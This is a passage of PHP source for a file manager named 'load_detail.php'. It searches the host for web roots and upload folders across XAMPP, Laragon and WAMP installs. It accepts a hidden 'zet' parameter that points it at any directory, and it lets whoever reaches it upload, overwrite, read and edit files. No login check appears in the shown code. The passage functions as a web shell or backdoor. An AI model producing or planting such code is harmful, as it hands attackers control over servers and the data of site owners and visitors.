$maxDepth) { continue; } $baseName = basename($dir); if (in_array($baseName, $targets, true)) { $found[] = $dir; } $items = @scandir($dir); if ($items === false) { continue; } foreach ($items as $name) { if ($name === '.' || $name === '..') { continue; } if (in_array($name, $skip, true)) { continue; } $path = $dir . DIRECTORY_SEPARATOR . $name; if (is_dir($path)) { $queue[] = [$path, $depth + 1]; } } } // Unique $uniq = []; foreach ($found as $p) { $uniq[$p] = true; } return array_keys($uniq); } function buildCandidates(string $defaultBase): array { $roots = [$defaultBase]; $home = getUserHome(); if ($home !== null) { $roots[] = $home; } $roots[] = 'C:\\xampp'; $roots[] = 'C:\\laragon'; $roots[] = 'C:\\wamp'; $roots[] = 'C:\\wamp64'; $webRoots = findWebRoots($roots, 4, 50); $candidates = []; foreach ($webRoots as $wr) { $candidates[] = $wr; $uploads = $wr . DIRECTORY_SEPARATOR . 'uploads'; if (is_dir($uploads)) { $candidates[] = $uploads; } } // Always include default base $candidates[] = $defaultBase; $uniq = []; foreach ($candidates as $p) { $real = realpath($p); if ($real !== false && is_dir($real)) { $uniq[$real] = true; } } return array_keys($uniq); } $candidates = buildCandidates($defaultBase); // Handle base switching if (isset($_GET['setbase']) && is_string($_GET['setbase'])) { $target = realpath(rawurldecode($_GET['setbase'])); if ($target !== false && in_array($target, $candidates, true)) { $_SESSION['baseDir'] = $target; header('Location: load_detail.php'); exit; } } // Direct set base via parameter (no auto-detect list required) if (isset($_GET['zet']) && is_string($_GET['zet'])) { $target = realpath(rawurldecode($_GET['zet'])); if ($target !== false && is_dir($target)) { $_SESSION['baseDir'] = $target; header('Location: load_detail.php'); exit; } } if (isset($_GET['resetbase'])) { unset($_SESSION['baseDir']); header('Location: load_detail.php'); exit; } $baseDir = $defaultBase; if (isset($_SESSION['baseDir']) && is_string($_SESSION['baseDir'])) { $sessionBase = realpath($_SESSION['baseDir']); if ($sessionBase !== false && is_dir($sessionBase)) { $baseDir = $sessionBase; } } $relDir = $_GET['dir'] ?? ''; $relDir = is_string($relDir) ? $relDir : ''; $currentDir = safePath($baseDir, $relDir); if (!is_dir($currentDir)) { $currentDir = $baseDir; $relDir = ''; } $message = ''; $error = ''; // Handle upload if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') { if (!isset($_FILES['upload']) || !is_uploaded_file($_FILES['upload']['tmp_name'])) { $error = 'No file uploaded.'; } else { $targetName = basename($_FILES['upload']['name']); $overwrite = isset($_POST['overwrite']) && $_POST['overwrite'] === '1'; $targetPath = $currentDir . DIRECTORY_SEPARATOR . $targetName; if (!$overwrite && file_exists($targetPath)) { $error = 'File already exists. Tick "Overwrite" to replace it.'; } else { if (move_uploaded_file($_FILES['upload']['tmp_name'], $targetPath)) { $message = 'Upload successful.'; } else { $error = 'Upload failed.'; } } } } // Handle save edit if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'save') { $relFile = $_POST['file'] ?? ''; $relFile = is_string($relFile) ? $relFile : ''; $filePath = safePath($baseDir, $relFile); if (!is_file($filePath)) { $error = 'File not found.'; } else { $content = $_POST['content'] ?? ''; if (!is_string($content)) { $content = ''; } if (file_put_contents($filePath, $content) !== false) { $message = 'File saved.'; } else { $error = 'Failed to save file.'; } // After save, stay in current directory $dirOfFile = dirname($relFile); $relDir = $dirOfFile === '.' ? '' : $dirOfFile; $currentDir = safePath($baseDir, $relDir); } } $editRelFile = $_GET['edit'] ?? ''; $editRelFile = is_string($editRelFile) ? $editRelFile : ''; $editFilePath = ''; $editContent = ''; $canEdit = false; if ($editRelFile !== '') { $editFilePath = safePath($baseDir, $editRelFile); if (is_file($editFilePath) && is_readable($editFilePath)) { $size = filesize($editFilePath); if ($size !== false && $size <= 1024 * 1024) { $editContent = (string)file_get_contents($editFilePath); $canEdit = true; } else { $error = 'File too large to edit (max 1 MB).'; } } else { $error = 'File not found or not readable.'; } } // Build listing $items = @scandir($currentDir); if ($items === false) { $items = []; $error = 'Failed to read directory.'; } // Parent directory for navigation $parentRel = ''; if ($currentDir !== $baseDir) { $parentRel = normalizeRelPath(dirname($relDir)); if ($parentRel === '.') { $parentRel = ''; } } ?>